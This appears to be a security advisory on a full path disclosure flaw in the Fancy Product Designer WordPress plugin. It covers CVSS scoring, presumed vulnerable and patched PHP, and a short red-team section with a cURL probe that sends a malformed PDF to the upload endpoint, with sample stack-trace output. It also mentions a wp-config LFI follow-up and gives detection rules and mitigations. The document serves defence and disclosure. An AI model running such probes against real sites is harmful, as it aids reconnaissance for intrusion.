CVE-2025-15526

Executive Summary

CVE-2025-15526 is a Full Path Disclosure vulnerability affecting the Fancy Product Designer WordPress plugin, up to and including version 6.4.8. This vulnerability allows an unauthenticated attacker to retrieve the full server filesystem path and stack traces by exploiting improper error handling in the PDF upload functionality. While the information disclosed is not directly exploitable for code execution or data theft, it significantly aids in reconnaissance for further attacks, such as Local File Inclusion (LFI) or SQL injection. The vulnerability is classified as WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability is specific to the Fancy Product Designer WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is not part of standard package managers like NPM, PyPI, Go, or Ruby. However, organizations using this plugin should treat it as a supply chain risk, as the plugin's code is directly executed within the WordPress environment. The lack of a patch from the vendor increases the risk, and users must rely on manual mitigation or plugin replacement.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (path disclosure)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit (no authentication required) but only reveals filesystem paths, which are not directly harmful. However, in combination with other vulnerabilities, it can facilitate more severe attacks.

Deep Dive & Mechanics

The vulnerability resides in the PDF upload functionality of the Fancy Product Designer plugin. When a user uploads a PDF file, the plugin attempts to process it. Due to improper error handling, if the upload fails or the PDF is malformed, the plugin returns detailed error messages containing:

• Full server filesystem paths (e.g., /var/www/html/wp-content/plugins/fancy-product-designer/...)
• PHP stack traces showing function calls and file locations

This information is exposed to unauthenticated users because the upload endpoint does not require authentication. The root cause is the use of PHP functions like var_dump(), print_r(), or direct exception messages without sanitization in the error handling logic.

Attack Scenario:

1. An attacker sends a malformed PDF file to the plugin's upload endpoint (e.g., /wp-admin/admin-ajax.php?action=fpd_upload_pdf).
2. The plugin fails to process the file and returns an error message containing the full path and stack trace.
3. The attacker uses this information to craft further attacks, such as LFI (e.g., ../../wp-config.php) or SQL injection.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's PDF upload handler. A typical vulnerable pattern might look like:

// Vulnerable code (example)
function fpd_upload_pdf() {
    try {
        // Process PDF upload
    } catch (Exception $e) {
        echo "Error: " . $e->getMessage(); // Exposes path and trace
        echo "Stack trace: " . $e->getTraceAsString();
    }
}

A patched version would suppress detailed error messages and log them internally:

// Patched code (example)
function fpd_upload_pdf() {
    try {
        // Process PDF upload
    } catch (Exception $e) {
        error_log("PDF upload error: " . $e->getMessage());
        wp_die("An error occurred during file upload.", "Upload Error", array('response' => 500));
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Fancy Product Designer plugin <= 6.4.8
• No authentication required

Steps:

1. Identify the upload endpoint. Typically, it is an AJAX action like fpd_upload_pdf.
2. Send a malformed PDF file (e.g., a text file renamed to .pdf) to the endpoint.

Example using cURL:

# Create a malformed file
echo "not a pdf" > malformed.pdf

# Send the request
curl -X POST \
  -F "action=fpd_upload_pdf" \
  -F "file=@malformed.pdf" \
  http://target.com/wp-admin/admin-ajax.php

Expected Response: The server will return an error message containing the full path and stack trace, e.g.:

Error: File upload failed in /var/www/html/wp-content/plugins/fancy-product-designer/includes/class-pdf-upload.php on line 45
Stack trace: #0 /var/www/html/wp-content/plugins/fancy-product-designer/includes/class-ajax.php(120): FPD_PDF_Upload->process()
#1 /var/www/html/wp-includes/class-wp-hook.php(324): FPD_Ajax->handle_upload()
...

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /wp-admin/admin-ajax.php with action=fpd_upload_pdf and a file upload.
• Look for error responses containing filesystem paths (e.g., /var/www/, /home/, C:\).
• Use WAF rules to block malformed PDF uploads.

Mitigation:

• Disable the PDF upload functionality if not needed.
• Apply a virtual patch using a WAF to filter error messages.
• Replace the plugin with an alternative if no patch is available.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-admin/admin-ajax.php with action=fpd_upload_pdf
  • Response bodies containing filesystem paths (e.g., /var/www/html/, C:\inetpub\)
  • Response bodies containing PHP stack traces (e.g., #0 /var/www/..., #1 /var/www/...)

• File System:

  • Presence of malformed PDF files in upload directories (e.g., /wp-content/uploads/fpd/)

• Logs:

  • PHP error logs showing FPD_PDF_Upload or fpd_upload_pdf with stack traces

Detection Engineering

YARA Rule

rule CVE_2025_15526_Fancy_Product_Designer_Path_Disclosure {
    meta:
        description = "Detects full path disclosure attempts against Fancy Product Designer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15526"
    strings:
        $path_pattern = /\/var\/www\/[a-zA-Z0-9\/_\-\.]+/
        $stack_trace = /#\d+ \/var\/www\/[a-zA-Z0-9\/_\-\.]+/
        $plugin_ref = /fancy-product-designer/
        $error_msg = /Error:|Stack trace:/
    condition:
        all of ($path_pattern, $stack_trace, $plugin_ref) or
        all of ($error_msg, $plugin_ref, $path_pattern)
}

Sigma Rule

title: CVE-2025-15526 - Fancy Product Designer Full Path Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses containing filesystem paths and stack traces from Fancy Product Designer plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15526
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'action=fpd_upload_pdf'
        sc-status: 200
        response_body|contains:
            - '/var/www/'
            - 'Stack trace:'
            - 'fancy-product-designer'
    condition: selection
falsepositives:
    - Legitimate error messages from developers
level: medium
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15526 - Fancy Product Designer Full Path Disclosure Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=fpd_upload_pdf"; http_client_body; pcre:"/fpd_upload_pdf/"; sid:1000001; rev:1; reference:cve,2025-15526; priority:2;)

Remediation & Mitigation

Immediate Actions:

1. Disable PDF Upload: If the PDF upload feature is not critical, disable it via the plugin settings or by removing the AJAX action hook.
2. Apply Virtual Patch: Use a Web Application Firewall (WAF) to block requests containing action=fpd_upload_pdf or to sanitize error responses.
3. Monitor Logs: Review web server and PHP error logs for signs of exploitation.

Long-Term Fix:

• Patch: Await an official patch from the vendor. If none is provided, consider replacing the plugin with an alternative.
• Code Fix: If you have access to the plugin code, modify the error handling to suppress detailed error messages and log them internally.

Workaround:

• Use a security plugin like Wordfence to block malicious file uploads.
• Restrict access to the upload endpoint via .htaccess or server configuration.

Valters IT